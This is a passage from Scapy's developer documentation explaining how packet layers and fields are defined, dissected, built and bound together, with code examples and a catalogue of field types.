load='AAAA' |>>>\n    >>> tcp.payload\n    <Raw  load='AAAA' |>\n\nAs expected, ``tcp.underlayer`` points to the beginning of our IP packet,\nand ``tcp.payload`` to its payload.\n\nBuilding a new layer\n--------------------\n\n.. index::\n   single: Layer\n\nVERY EASY! A layer is mainly a list of fields. Let's look at ``UDP`` definition::\n\n    class UDP(Packet):\n        name = \"UDP\"\n        fields_desc = [ ShortEnumField(\"sport\", 53, UDP_SERVICES),\n                        ShortEnumField(\"dport\", 53, UDP_SERVICES),\n                        ShortField(\"len\", None),\n                        XShortField(\"chksum\", None), ]\n\nAnd you are done! There are many fields already defined for\nconvenience, look at the doc``^W`` sources as Phil would say.\n\nSo, defining a layer is simply gathering fields in a list. The goal is\nhere to  provide the  efficient default values  for each field  so the\nuser does not have to give them when he builds a packet. \n\nThe main  mechanism  is based on  the ``Field`` structure.  Always keep in\nmind that a layer is just a little more than a list of fields, but not\nmuch more. \n\nSo, to understand how layers are working, one needs to look quickly\nat how the fields are handled.\n\n\nManipulating packets == manipulating its fields\n-----------------------------------------------\n\n.. index::\n   single: i2h()\n   single: i2m()\n   single: m2i()\n\nA field should be considered in different states:\n\n- ``i`` (nternal) : this is the way Scapy manipulates it.\n- ``m`` (achine) : this is where the truth is, that is the layer as it is\n    on the network.\n- ``h`` (uman) : how the packet is displayed to our human eyes.\n\nThis explains  the mysterious  methods ``i2h()``, ``i2m()``,  ``m2i()`` and  so on\navailable  in  each field:  they are the conversion  from one  state  to\nanother, adapted to a specific use.\n\nOther special functions:\n\n- ``any2i()`` guess the input representation and returns the internal one.\n- ``i2repr()`` a nicer ``i2h()``\n\nHowever, all these are \"low level\" functions. The functions adding or\nextracting a field to the current layer are:\n\n- ``addfield(self, pkt, s, val)``:  copy the network  representation of\n  field ``val`` (belonging to layer ``pkt``) to the raw string packet ``s``::\n\n      class StrFixedLenField(StrField):\n          def addfield(self, pkt, s, val):\n              return s+struct.pack(\"%is\"%self.length,self.i2m(pkt, val))\n\n- ``getfield(self, pkt, s)``: extract from the raw packet ``s`` the field\n  value belonging to layer ``pkt``. It returns a list, the 1st element\n  is the raw packet string after having removed the extracted field,\n  the second one is the extracted field itself in internal\n  representation::\n\n      class StrFixedLenField(StrField):\n          def getfield(self, pkt, s):\n              return s[self.length:], self.m2i(pkt,s[:self.length])\n       \nWhen defining your own layer, you usually just need to define some\n``*2*()`` methods, and sometimes also the ``addfield()`` and ``getfield()``.\n\n\nExample: variable length quantities\n-----------------------------------\n\nThere is a way to represent integers on a variable length quantity often\nused in  protocols, for instance  when dealing with  signal processing\n(e.g. MIDI). \n\nEach byte  of the number is  coded with the  MSB set to 1,  except the\nlast byte. For instance, 0x123456 will be coded as 0xC8E856:: \n\n    def vlenq2str(l):\n        s = []\n        s.append(l & 0x7F)\n        l = l >> 7\n        while l > 0:\n            s.append( 0x80 | (l & 0x7F) )\n            l = l >> 7\n        s.reverse()\n        return bytes(bytearray(s))\n    \n    def str2vlenq(s=b\"\"):\n        i = l = 0\n        while i < len(s) and ord(s[i:i+1]) & 0x80:\n            l = l << 7\n            l = l + (ord(s[i:i+1]) & 0x7F)\n            i = i + 1\n        if i == len(s):\n            warning(\"Broken vlenq: no ending byte\")\n        l = l << 7\n        l = l + (ord(s[i:i+1]) & 0x7F)\n    \n        return s[i+1:], l\n\nWe will  define a field which  computes automatically the  length of an\nassociated string, but used that encoding format::\n\n    class VarLenQField(Field):\n        \"\"\" variable length quantities \"\"\"\n        __slots__ = [\"fld\"]\n    \n        def __init__(self, name, default, fld):\n            Field.__init__(self, name, default)\n            self.fld = fld\n            \n        def i2m(self, pkt, x):\n            if x is None:\n                f = pkt.get_field(self.fld)\n                x = f.i2len(pkt, pkt.getfieldval(self.fld))\n                x = vlenq2str(x)\n            return raw(x)\n    \n        def m2i(self, pkt, x):\n            if s is None:\n                return None, 0\n            return str2vlenq(x)[1]\n    \n        def addfield(self, pkt, s, val):\n            return s+self.i2m(pkt, val)\n    \n        def getfield(self, pkt, s):\n            return str2vlenq(s)\n\nAnd now, define a layer using this kind of field::\n\n    class FOO(Packet):\n        name = \"FOO\"\n        fields_desc = [ VarLenQField(\"len\", None, \"data\"),\n                        StrLenField(\"data\", \"\", length_from=lambda pkt: pkt.len) ]\n    \n    >>> f = FOO(data=\"A\"*129)\n    >>> f.show()\n    ###[ FOO ]###\n      len= None\n      data=    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\n\nHere, ``len``  has yet to be computed and only the default value is\ndisplayed. This is the current internal representation of our\nlayer. Let's force the computation now::\n\n    >>> f.show2()\n    ###[ FOO ]###\n      len= 129\n      data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\n\nThe method ``show2()`` displays the fields with their values as they will\nbe sent to the network, but in a human readable way, so we see ``len=129``.\nLast but not least, let us look now at the machine representation::\n\n    >>> raw(f)\n    '\\x81\\x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\n\nThe first 2 bytes are ``\\x81\\x01``, which is 129 in this encoding.\n\n\n \nDissecting \n==========\n.. index::\n   dissecting\n   \nLayers only are list of fields, but what is the glue between each\nfield, and after, between each  layer. These are the mysteries explain\nin this section.\n\nThe basic stuff\n---------------\n\nThe core function for dissection is ``Packet.dissect()``::\n\n    def dissect(self, s):\n        s = self.pre_dissect(s)\n        s = self.do_dissect(s)\n        s = self.post_dissect(s)            \n        payl,pad = self.extract_padding(s)\n        self.do_dissect_payload(payl)\n        if pad and conf.padding:\n            self.add_payload(Padding(pad))\n\nWhen called, ``s`` is a string containing what is going to be\ndissected. ``self`` points to the current layer.\n \n::\n\n    >>> p=IP(\"A\"*20)/TCP(\"B\"*32)\n    WARNING: bad dataofs (4). Assuming dataofs=5\n    >>> p\n    <IP  version=4L ihl=1L tos=0x41 len=16705 id=16705 flags=DF frag=321L ttl=65 proto=65 chksum=0x4141\n    src=65.65.65.65 dst=65.65.65.65 |<TCP  sport=16962 dport=16962 seq=1111638594L ack=1111638594L dataofs=4L\n    reserved=2L flags=SE window=16962 chksum=0x4242 urgptr=16962 options=[] |<Raw  load='BBBBBBBBBBBB' |>>>\n\n``Packet.dissect()`` is called 3 times:\n\n1. to dissect the ``\"A\"*20`` as an IPv4 header\n2. to dissect the ``\"B\"*32`` as a TCP header\n3. and  since  there  are still  12  bytes  in  the packet,  they  are\n   dissected as \"``Raw``\" data (which is some kind of default layer type)\n\n\nFor a given layer, everything is quite straightforward:\n\n- ``pre_dissect()`` is called to prepare the layer.\n- ``do_dissect()`` perform the real dissection of the layer.\n- ``post_dissection()`` is  called when some  updates are needed  on the\n  dissected inputs (e.g. deciphering, uncompressing, ... )\n- ``extract_padding()`` is an important  function which should be called\n  by every  layer containing  its own size, so that it can tell apart \n  in  the payload what is really related to this layer and what will\n  be considered as additional padding bytes.\n- ``do_dissect_payload()``  is the  function in  charge of  dissecting the\n  payload  (if  any).  It   is  based  on  ``guess_payload_class()``  (see\n  below). Once the type of the  payload is known, the payload is bound\n  to the current layer with this new type::\n\n      def do_dissect_payload(self, s):\n          cls = self.guess_payload_class(s)\n          p = cls(s, _internal=1, _underlayer=self)\n          self.add_payload(p)\n\nAt the  end, all  the layers  in the packet  are dissected,  and glued\ntogether with their known types.\n\n\nDissecting fields\n-----------------\n\nThe  method with  all the  magic  between a  layer and  its fields  is\n``do_dissect()``. If you have  understood the different representations of\na layer, you  should understand that \"dissecting\" a  layer is building\neach of its fields from the machine to the internal representation. \n\nGuess what? That is exactly what ``do_dissect()`` does::\n\n    def do_dissect(self, s):\n        flist = self.fields_desc[:]\n        flist.reverse()\n        while s and flist:\n            f = flist.pop()\n            s,fval = f.getfield(self, s)\n            self.fields[f] = fval\n        return s\n\nSo, it  takes the raw string packet,  and feed each field  with it, as\nlong as there are data or fields remaining::\n\n    >>> FOO(\"\\xff\\xff\"+\"B\"*8)\n    <FOO  len=2097090 data='BBBBBBB' |>\n\nWhen writing ``FOO(\"\\xff\\xff\"+\"B\"*8)``, it calls ``do_dissect()``. The first\nfield is VarLenQField.  Thus, it takes bytes as long as their MSB is\nset, thus until (and including) the first '``B``'. This mapping is done\nthanks to ``VarLenQField.getfield()`` and can be cross-checked::\n\n    >>> vlenq2str(2097090)\n    '\\xff\\xffB'\n\nThen, the  next field is extracted  the same way, until 2097090 bytes\nare put in ``FOO.data`` (or less  if 2097090 bytes are  not available, as\nhere).\n\nIf  there are  some bytes  left after  the dissection  of  the current\nlayer, it is mapped  in the same way to the what  the next is expected\nto be (``Raw`` by default)::\n\n    >>> FOO(\"\\x05\"+\"B\"*8)\n    <FOO  len=5 data='BBBBB' |<Raw  load='BBB' |>>\n\nHence, we need now to understand how layers are bound together.\n\nBinding layers\n--------------\n\nOne of the cool features with Scapy when dissecting layers is that it\ntries to guess for us what the next layer is. The official way to link 2\nlayers is using ``bind_layers()`` function.\n\nAvailable inside the ``packet`` module, this function can be used as following::\n\n    bind_layers(ProtoA, ProtoB, FieldToBind=Value)\n\nEach time a packet ``ProtoA()/ProtoB()`` will be created, the ``FieldToBind`` of\n``ProtoA`` will be equal to ``Value``.\n\nFor instance,  if you have a class ``HTTP``, you may expect  that all the\npackets coming from or going to  port 80 will be decoded as such. This\nis simply done that way::\n\n    bind_layers( TCP, HTTP, sport=80 )\n    bind_layers( TCP, HTTP, dport=80 )\n\nThat's  all folks!  Now every  packet  related to  port  80 will  be\nassociated to the  layer ``HTTP``, whether it is read from  a pcap file or\nreceived from the network.\n\nThe ``guess_payload_class()`` way\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nSometimes,  guessing the payload  class is  not as  straightforward as\ndefining a single  port. For instance, it can depend on  a value of a\ngiven byte in the current layer. The 2 needed methods are:\n\n- ``guess_payload_class()`` which must return  the guessed class for the\n  payload (next layer). By default, it uses links between classes\n  that have been put in place by ``bind_layers()``.\n\n- ``default_payload_class()``  which returns  the  default value.   This\n  method  defined in the  class ``Packet``  returns ``Raw``,  but it  can be\n  overloaded.\n\nFor  instance, decoding  802.11  changes depending  on  whether it  is\nciphered or not::\n\n    class Dot11(Packet):\n        def guess_payload_class(self, payload):\n            if self.FCfield & 0x40:\n                return Dot11WEP\n            else:\n                return Packet.guess_payload_class(self, payload)\n\nSeveral comments are needed here:\n\n- this  cannot be  done  using  ``bind_layers()``  because the  tests  are\n  supposed to be \"``field==value``\", but it is more complicated here as we\n  test a single bit in the value of a field.\n  \n- if the  test fails, no assumption is  made, and we plug  back to the\n  default guessing mechanisms calling ``Packet.guess_payload_class()``\n\nMost of  the time,  defining a method  ``guess_payload_class()`` is  not a\nnecessity as the same result can be obtained from ``bind_layers()``.\n\nChanging the default behavior\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nIf you do not like Scapy's  behavior for a given layer, you can either\nchange or disable it through  a call to ``split_layers()``. For instance,\nif you do not want UDP/53 to be bound with ``DNS``, just add in your code::\n\n    split_layers(UDP, DNS, sport=53)\n\nNow every packet  with source port 53 will not be  handled as DNS, but\nwhatever you specify instead.\n\n\n\nUnder the hood: putting everything together\n-------------------------------------------\n\nIn  fact, each  layer  has a  field  payload_guess. When  you use  the\nbind_layers() way, it adds the defined next layers to that list.\n\n::\n\n    >>> p=TCP()\n    >>> p.payload_guess\n    [({'dport': 2000}, <class 'scapy.Skinny'>), ({'sport': 2000}, <class 'scapy.Skinny'>), ... )]\n\nThen,  when it  needs to  guess  the next  layer class,  it calls  the\ndefault method ``Packet.guess_payload_class()``.  This method runs through\neach  element  of  the   list  payload_guess,  each  element  being  a\ntuple:\n\n- the 1st value is a field to test (``'dport': 2000``)\n- the 2nd value is the guessed class if it matches (``Skinny``)\n\nSo, the  default ``guess_payload_class()`` tries all element  in the list,\nuntil  one   matches.  If  no   element  are  found,  it   then  calls\n``default_payload_class()``. If you have redefined this method, then yours\nis  called, otherwise,  the default  one is  called, and  ``Raw``  type is\nreturned. \n\n``Packet.guess_payload_class()``\n\n- test what is in field ``guess_payload``\n- call overloaded ``guess_payload_class()``\n\n\nBuilding\n========\n\nBuilding a packet is as simple as building each layer. Then, some\nmagic happens to glue everything. Let's do magic then.\n\nThe basic stuff\n---------------\n\nThe first thing to establish is: what does \"build\" mean? As we have seen, a\nlayer  can   be  represented  in  different   ways  (human,  internal,\nmachine). Building means going to the machine format.\n\nThe second thing to understand is ''when'' a layer is  built. The answer is not\nthat obvious, but as soon  as you need the machine representation, the\nlayers are built: when the packet is dropped on the network or written\nto a file, or when it is converted as a string, ...  In  fact, machine\nrepresentation  should be  regarded as  a big  string with  the layers\nappended altogether.\n \n::\n\n    >>> p = IP()/TCP()\n    >>> hexdump(p)\n    0000 45 00 00 28 00 01 00 00 40 06 7C CD 7F 00 00 01 E..(....@.|..... \n    0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........ \n    0020 50 02 20 00 91 7C 00 00 P. ..|.. \n\nCalling ``raw()`` builds the packet:\n  - non instanced fields are set to their default value\n  - lengths are updated automatically\n  - checksums are computed\n  - and so on. \n\nIn fact, using ``raw()`` rather than ``show2()`` or any other method\nis not a random choice as all the functions building the packet calls\n``Packet.__str__()`` (or ``Packet.__bytes__()`` under Python\n3). However, ``__str__()`` calls another method: ``build()``::\n\n    def __str__(self):\n        return next(iter(self)).build()\n\nWhat is important also to understand  is that usually, you do not care\nabout the machine  representation, that is why the  human and internal\nrepresentations are here. \n\nSo, the  core method is ``build()``  (the code has been  shortened to keep\nonly the relevant parts)::\n\n    def build(self,internal=0):\n        pkt = self.do_build()\n        pay = self.build_payload()\n        p = self.post_build(pkt,pay)\n        if not internal:\n            pkt = self\n            while pkt.haslayer(Padding):\n                pkt = pkt.getlayer(Padding)\n                p += pkt.load\n                pkt = pkt.payload\n        return p\n\nSo, it  starts by  building the current  layer, then the  payload, and\n``post_build()``  is called  to update  some late  evaluated  fields (like\nchecksums). Last, the padding is added to the end of the packet. \n\nOf  course, building  a layer  is  the same  as building  each of  its\nfields, and that is exactly what ``do_build()`` does.\n\nBuilding fields\n---------------\n\nThe building of each field of a layer is called in ``Packet.do_build()``::\n\n    def do_build(self):\n        p=\"\"\n        for f in self.fields_desc:\n            p = f.addfield(self, p, self.getfieldval(f))\n        return p\n\nThe  core function  to  build a  field  is ``addfield()``.   It takes  the\ninternal view of the  field and put it at the end  of ``p``. Usually, this\nmethod calls  ``i2m()`` and returns something  like ``p.self.i2m(val)`` (where\n``val=self.getfieldval(f)``).\n\nIf ``val`` is set, then ``i2m()`` is just a matter of formatting the value the\nway it must  be. For instance, if a  byte is expected, ``struct.pack(\"B\", val)``\nis the right way to convert it.\n\nHowever, things  are more complicated if  ``val`` is not set,  it means no\ndefault  value was  provided  earlier,  and thus  the  field needs  to\ncompute some \"stuff\" right now or later. \n\n\"Right now\"  means thanks to ``i2m()``, if all pieces of information are\navailable.  For instance,  if  you have  to  handle a  length until  a\ncertain delimiter. \n\nEx: counting the length until a delimiter\n\n::\n\n    class XNumberField(FieldLenField):\n    \n        def __init__(self, name, default, sep=\"\\r\\n\"):\n            FieldLenField.__init__(self, name, default, fld)\n            self.sep = sep\n    \n        def i2m(self, pkt, x):\n            x = FieldLenField.i2m(self, pkt, x)\n            return \"%02x\" % x\n    \n        def m2i(self, pkt, x):\n            return int(x, 16)\n    \n        def addfield(self, pkt, s, val):\n            return s+self.i2m(pkt, val)\n    \n        def getfield(self, pkt, s):\n            sep = s.find(self.sep)\n            return s[sep:], self.m2i(pkt, s[:sep])\n\nIn this example,  in ``i2m()``, if ``x`` has already a  value, it is converted\nto its hexadecimal value. If no value is given, a length of \"0\" is\nreturned.\n\nThe glue is provided by ``Packet.do_build()`` which calls ``Field.addfield()``\nfor  each field in  the layer,  which in  turn calls  ``Field.i2m()``: the\nlayer is built IF a value was available.\n\n\nHandling default values: ``post_build``\n---------------------------------------\n\nA default  value for a  given field is  sometimes either not  known or\nimpossible to compute when the  fields are put together. For instance,\nif we used a ``XNumberField`` as  defined previously in a layer, we expect\nit  to be set  to a  given value  when the  packet is  built. However,\nnothing is returned by ``i2m()`` if it is not set. \n\nThe answer to this problem is ``Packet.post_build()``. \n\nWhen  this method is  called, the  packet is  already built,  but some\nfields still need  to be computed. This is  typically what is required\nto compute checksums or lengths. In fact, this is required each time a\nfield's value depends on something which is not in the current \n\nSo, let  us assume we  have a packet  with a ``XNumberField``, and  have a\nlook to its building process::\n\n    class Foo(Packet):\n          fields_desc = [\n              ByteField(\"type\", 0),\n              XNumberField(\"len\", None, \"\\r\\n\"),\n              StrFixedLenField(\"sep\", \"\\r\\n\", 2)\n              ]\n            \n          def post_build(self, p, pay):\n            if self.len is None and pay:\n                l = len(pay)\n                p = p[:1] + struct.pack(\"!B\", l) + p[2:]\n            return p+pay\n\nWhen ``post_build()`` is called, ``p``  is the current layer, ``pay`` the payload,\nthat is what has already been built. We want our length to be the full\nlength of the data put after  the separator, so we add its computation\nin ``post_build()``. \n\n::\n\n    >>> p = Foo()/(\"X\"*32)\n    >>> p.show2()\n    ###[ Foo ]###\n      type= 0\n      len= 32\n      sep= '\\r\\n'\n    ###[ Raw ]###\n         load= 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'\n\n``len`` is correctly computed now::\n\n    >>> hexdump(raw(p))\n    0000   00 32 30 0D 0A 58 58 58  58 58 58 58 58 58 58 58   .20..XXXXXXXXXXX\n    0010   58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58   XXXXXXXXXXXXXXXX\n    0020   58 58 58 58 58                                     XXXXX\n\nAnd the machine representation is the expected one.\n\n\nHandling default values: automatic computation\n----------------------------------------------\n\nAs we have previously seen, the dissection mechanism is built upon the\nlinks between  the layers created  by the programmer. However,  it can\nalso be used during the building process.\n\nIn the  layer ``Foo()``, our  first byte is  the type, which  defines what\ncomes next, e.g. if ``type=0``, next layer is ``Bar0``, if it is 1, next layer\nis  ``Bar1``,  and  so on.  We  would  like  then  this  field to  be  set\nautomatically according to what comes next.\n \n::\n\n    class Bar1(Packet):\n        fields_desc = [\n              IntField(\"val\", 0),\n              ]\n    \n    class Bar2(Packet):\n        fields_desc = [\n              IPField(\"addr\", \"127.0.0.1\")\n              ]\n\nIf we use  these classes with nothing else, we  will have trouble when\ndissecting the  packets as nothing  binds Foo layer with  the multiple\n``Bar*`` even when we explicitly build the packet through the call to\n``show2()``::\n\n    >>> p = Foo()/Bar1(val=1337)\n    >>> p\n    <Foo  |<Bar1  val=1337 |>>\n    >>> p.show2()\n    ###[ Foo ]###\n      type= 0\n      len= 4\n      sep= '\\r\\n'\n    ###[ Raw ]###\n        load= '\\x00\\x00\\x059'\n\nProblems:\n \n1. ``type`` is still  equal to 0 while we wanted  it to be automatically\n   set to 1. We could of course have built ``p`` with ``p = Foo(type=1)/Bar0(val=1337)``\n   but this is not very convenient.\n   \n2. the packet is badly dissected as ``Bar1`` is regarded as ``Raw``. This\n   is because no links have been set between ``Foo()`` and ``Bar*()``.\n\nIn order to  understand what we should have done  to obtain the proper\nbehavior,  we must look  at how  the layers  are assembled.   When two\nindependent packets instances ``Foo()`` and ``Bar1(val=1337)`` are\ncompounded with the '/' operator, it results in a new packet where the\ntwo previous instances are cloned  (i.e.  are now two distinct objects\nstructurally different, but holding the same values)::\n\n    def __div__(self, other):\n        if isinstance(other, Packet):\n            cloneA = self.copy()\n            cloneB = other.copy()\n            cloneA.add_payload(cloneB)\n            return cloneA\n        elif type(other) is str:\n            return self/Raw(load=other)\n\nThe right-hand side of the operator becomes the payload of the left-hand\nside. This is performed through the call to ``add_payload()``. Finally, the new packet is returned.\n\nNote: we can observe that if  other isn't a ``Packet`` but a string,\nthe ``Raw``  class is instantiated to  form the payload.  Like in this\nexample::\n\n    >>> IP()/\"AAAA\"\n    <IP  |<Raw  load='AAAA' |>>\n\nWell, what  ``add_payload()`` should implement? Just  a link between\ntwo packets? Not only, in our case, this method will appropriately set\nthe correct value to ``type``.\n\nInstinctively  we feel that  the upper  layer (the  right of  '/') can\ngather the  values to set the fields  to the lower layer  (the left of\n'/').  Like  previously explained, there is a  convenient mechanism to\nspecify the bindings in  both directions between two neighboring\nlayers.\n\nOnce again, these information must be provided to ``bind_layers()``,\nwhich  will   internally  call  ``bind_top_down()``   in  charge  to\naggregate the fields to overload. In our case what we need to specify\nis::\n\n    bind_layers( Foo, Bar1, {'type':1} )\n    bind_layers( Foo, Bar2, {'type':2} )\n\nThen, ``add_payload()``  iterates over the  ``overload_fields`` of\nthe upper packet (the payload), get the fields associated to the lower\npacket (by its type) and insert them in ``overloaded_fields``.\n \nFor  now,   when  the   value  of  this   field  will   be  requested,\n``getfieldval()``    will    return    the   value    inserted    in\n``overloaded_fields``.\n\nThe fields are dispatched between three dictionaries:\n\n- ``fields``: fields whose the value have been explicitly set, like\n  ``pdst`` in TCP (``pdst='42'``)\n- ``overloaded_fields``: overloaded fields\n- ``default_fields``: all the fields with their default value (these fields \n    are initialized according to ``fields_desc`` by the constructor \n    by calling ``init_fields()`` ).\n\nIn the following code, we can observe how a field is selected and its\nvalue returned::\n\n    def getfieldval(self, attr):\n       for f in self.fields, self.overloaded_fields, self.default_fields:\n           if f.has_key(attr):\n               return f[attr]\n       return self.payload.getfieldval(attr)\n\nFields  inserted  in  ``fields``  have  the  higher  priority,  then\n``overloaded_fields``, then finally ``default_fields``.  Hence, if\nthe field ``type`` is set in ``overloaded_fields``, its value will\nbe returned instead of the value contained in ``default_fields``.\n\n\nWe are now able to understand all the magic behind it!\n\n::\n\n    >>> p = Foo()/Bar1(val=0x1337)\n    >>> p\n    <Foo  type=1 |<Bar1  val=4919 |>>\n    >>> p.show()\n    ###[ Foo ]###\n      type= 1\n      len= 4\n      sep= '\\r\\n'\n    ###[ Bar1 ]###\n        val= 4919\n        \nOur 2 problems have been solved without us doing much: so good to be\nlazy :)\n\nUnder the hood: putting everything together\n-------------------------------------------\n\nLast but not least, it is very useful to understand when each function\nis called when a packet is built::\n\n    >>> hexdump(raw(p))\n    Packet.str=Foo\n    Packet.iter=Foo\n    Packet.iter=Bar1\n    Packet.build=Foo\n    Packet.build=Bar1\n    Packet.post_build=Bar1\n    Packet.post_build=Foo\n\nAs you can see, it first runs through the list of each field, and then\nbuild  them starting  from the  beginning. Once  all layers  have been\nbuilt, it then calls ``post_build()`` starting from the end.\n\n\nFields \n======\n\n.. index::\n   single: fields\n\nHere's a list of fields that Scapy supports out of the box:     \n\nSimple datatypes\n----------------\n\nLegend: \n\n- ``X`` - hexadecimal representation\n- ``LE`` - little endian (default is big endian = network byte order)\n- ``Signed`` - signed (default is unsigned)\n\n::\n\n    ByteField           \n    XByteField    \n    \n    ShortField\n    SignedShortField\n    LEShortField\n    XShortField\n    \n    X3BytesField        # three bytes as hex\n    XLE3BytesField      # little endian three bytes as hex\n    ThreeBytesField     # three bytes as decimal\n    LEThreeBytesField   # little endian three bytes as decimal\n    LE3BytesEnumField\n    XLE3BytesEnumField\n\n    IntField\n    SignedIntField\n    LEIntField\n    LESignedIntField\n    XIntField\n    \n    LongField\n    SignedLongField\n    LELongField\n    LESignedLongField\n    XLongField\n    LELongField\n    \n    IEEEFloatField\n    IEEEDoubleField \n    BCDFloatField       # binary coded decimal\n    \n    BitField\n    XBitField\n    \n    BitFieldLenField    # BitField specifying a length (used in RTP)\n    FlagsField          \n    FloatField\n\nEnumerations\n------------\n\nPossible field values are taken from a given enumeration (list, dictionary, ...)  \ne.g.::\n\n    ByteEnumField(\"code\", 4, {1:\"REQUEST\",2:\"RESPONSE\",3:\"SUCCESS\",4:\"FAILURE\"})\n\n::\n\n    EnumField(name, default, enum, fmt = \"H\")\n    CharEnumField\n    BitEnumField\n    ShortEnumField\n    LEShortEnumField\n    ByteEnumField\n    IntEnumField\n    SignedIntEnumField\n    LEIntEnumField\n    XShortEnumField\n\nStrings\n-------\n\n::\n\n    StrField(name, default, fmt=\"H\", remain=0, shift=0)\n    StrLenField(name, default, fld=None, length_from=None, shift=0):\n    StrFixedLenField\n    StrNullField\n    StrStopField\n\nLists and lengths\n-----------------\n\n::\n\n    FieldList(name, default, field, fld=None, shift=0, length_from=None, count_from=None)\n      # A list assembled and dissected with many times the same field type\n        \n      # field: instance of the field that will be used to assemble and disassemble a list item\n      # length_from: name of the FieldLenField holding the list length\n         \n    FieldLenField     #  holds the list length of a FieldList field\n    LEFieldLenField\n    \n    LenField          # contains len(pkt.payload)\n    \n    PacketField       # holds packets\n    PacketLenField    # used e.g. in ISAKMP_payload_Proposal\n    PacketListField\n\n\nVariable length fields\n^^^^^^^^^^^^^^^^^^^^^^\n\nThis is about how fields that have a variable length can be handled with Scapy. These fields usually know their length from another field. Let's call them varfield and lenfield. The idea is to make each field reference the other so that when a packet is dissected, varfield can know its length from lenfield when a packet is assembled, you don't have to fill lenfield, that will deduce its value directly from varfield value.\n\nProblems arise when you realize that the relation between lenfield and varfield is not always straightforward. Sometimes, lenfield indicates a length in bytes, sometimes a number of objects. Sometimes the length includes the header part, so that you must subtract the fixed header length to deduce the varfield length. Sometimes the length is not counted in bytes but in 16bits words. Sometimes the same lenfield is used by two different varfields. Sometimes the same varfield is referenced by two lenfields, one in bytes one in 16bits words.\n\n \nThe length field\n~~~~~~~~~~~~~~~~\n\nFirst, a lenfield is declared using ``FieldLenField`` (or a derivate). If its value is None when assembling a packet, its value will be deduced from the varfield that was referenced. The reference is done using either the ``length_of`` parameter or the ``count_of`` parameter. The ``count_of`` parameter has a meaning only when varfield is a field that holds a list (``PacketListField`` or ``FieldListField``). The value will be the name of the varfield, as a string. According to which parameter is used the ``i2len()`` or ``i2count()`` method will be called on the varfield value. The returned value will the be adjusted by the function provided in the adjust parameter. adjust will be applied to 2 arguments: the packet instance and the value returned by ``i2len()`` or ``i2count()``. By default, adjust does nothing::\n\n    adjust=lambda pkt,x: x\n\nFor instance, if ``the_varfield`` is a list\n\n::\n\n    FieldLenField(\"the_lenfield\", None, count_of=\"the_varfield\")\n\nor if the length is in 16bits words::\n\n    FieldLenField(\"the_lenfield\", None, length_of=\"the_varfield\", adjust=lambda pkt,x:(x+1)/2)\n\nThe variable length field\n~~~~~~~~~~~~~~~~~~~~~~~~~\n\nA varfield can be: ``StrLenField``, ``PacketLenField``, ``PacketListField``, ``FieldListField``, ...\n\nFor the two firsts, when a packet is being dissected, their lengths are deduced from a lenfield already dissected. The link is done using the ``length_from`` parameter, which takes a function that, applied to the partly dissected packet, returns the length in bytes to take for the field. For instance::\n\n    StrLenField(\"the_varfield\", \"the_default_value\", length_from = lambda pkt: pkt.the_lenfield)\n\nor\n\n::\n\n    StrLenField(\"the_varfield\", \"the_default_value\", length_from = lambda pkt: pkt.the_lenfield-12)\n\nFor the ``PacketListField`` and ``FieldListField`` and their derivatives, they work as above when they need a length. If they need a number of elements, the length_from parameter must be ignored and the count_from parameter must be used instead. For instance::\n\n    FieldListField(\"the_varfield\", [\"1.2.3.4\"], IPField(\"\", \"0.0.0.0\"), count_from = lambda pkt: pkt.the_lenfield)\n\nExamples\n^^^^^^^^\n\n::\n\n    class TestSLF(Packet):\n        fields_desc=[ FieldLenField(\"len\", None, length_of=\"data\"),\n                      StrLenField(\"data\", \"\", length_from=lambda pkt:pkt.len) ]\n    \n    class TestPLF(Packet):\n        fields_desc=[ FieldLenField(\"len\", None, count_of=\"plist\"),\n                      PacketListField(\"plist\", None, IP, count_from=lambda pkt:pkt.len) ]\n    \n    class TestFLF(Packet):\n        fields_desc=[ \n           FieldLenField(\"the_lenfield\", None, count_of=\"the_varfield\"), \n           FieldListField(\"the_varfield\", [\"1.2.3.4\"], IPField(\"\", \"0.0.0.0\"), \n                           count_from = lambda pkt: pkt.the_lenfield) ]\n\n    class TestPkt(Packet):\n        fields_desc = [ ByteField(\"f1\",65),\n                        ShortField(\"f2\",0x4244) ]\n        def extract_padding(self, p):\n            return \"\", p\n    \n    class TestPLF2(Packet):\n        fields_desc = [ FieldLenField(\"len1\", None, count_of=\"plist\",fmt=\"H\", adjust=lambda pkt,x:x+2),\n                        FieldLenField(\"len2\", None, length_of=\"plist\",fmt=\"I\", adjust=lambda pkt,x:(x+1)/2),\n                        PacketListField(\"plist\", None, TestPkt, length_from=lambda x:(x.len2*2)/3*3) ]\n\nTest the ``FieldListField`` class::\n    \n    >>> TestFLF(\"\\x00\\x02ABCDEFGHIJKL\")\n    <TestFLF  the_lenfield=2 the_varfield=['65.66.67.68', '69.70.71.72'] |<Raw  load='IJKL' |>>\n\n\nSpecial\n-------\n\n::\n\n    Emph     # Wrapper to emphasize field when printing, e.g. Emph(IPField(\"dst\", \"127.0.0.1\")),\n    \n    ActionField\n    \n    ConditionalField(fld, cond)\n            # Wrapper to make field 'fld' only appear if\n            # function 'cond' evals to True, e.g. \n            # ConditionalField(XShortField(\"chksum\",None),lambda pkt:pkt.chksumpresent==1)\n            # When hidden, it won't be built nor dissected and the stored value will be 'None'\n            \n    \n    PadField(fld, align, padwith=None)  \n           # Add bytes after the proxified field so that it ends at\n           # the specified alignment from its beginning\n\n    BitExtendedField(extension_bit)\n           # Field with a variable number of bytes. Each byte is made of:\n           # - 7 bits of data\n           # - 1 extension bit:\n           #    * 0 means that it is the last byte of the field (\"stopping 